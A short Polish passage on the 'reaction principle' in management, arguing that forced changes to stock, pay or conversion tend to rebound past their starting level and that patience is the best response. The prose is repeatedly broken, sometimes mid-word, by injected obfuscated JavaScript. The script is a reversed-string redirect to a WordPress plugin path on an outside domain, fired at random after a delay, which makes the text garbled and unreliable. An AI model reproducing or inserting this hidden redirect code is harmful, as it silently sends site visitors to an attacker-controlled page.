To zasada reakcji. Jeśli wymusimy jakieś zmiany, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w ich rezultacie sytuacja stara się „oddać”. Jeśli obniżyliśmy zapas, za chwilę zapas będzie starał się „odbić” i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwykle powyżej poziomu wyjściowego. Jeśli obniżyliśmy zarobki, zwykle zaczynamy odczuwać wyrównanie tego w innych liniach (np. nadgodziny). Jeśli wymusiliśmy wzrost konwersji, po chwili nie tylko będzie się cofać, ale wręcz spadnie. To zemsta konserwatyzmu. I nadmierna reakcja. Przy obniżeniu zapasu pojawią się puste półki. Pracownicy wpadną w panikę i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domówią. Zamiast wytrzymać i pozwolić zadziałać nowemu systemowi. Najlepsza pozycja wahadła toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie wychylać się w żadną stronę, tylko zatrzymać się pośrodku. Jaka rada? Silne nerwy i wytrzymać napór „reakcji”.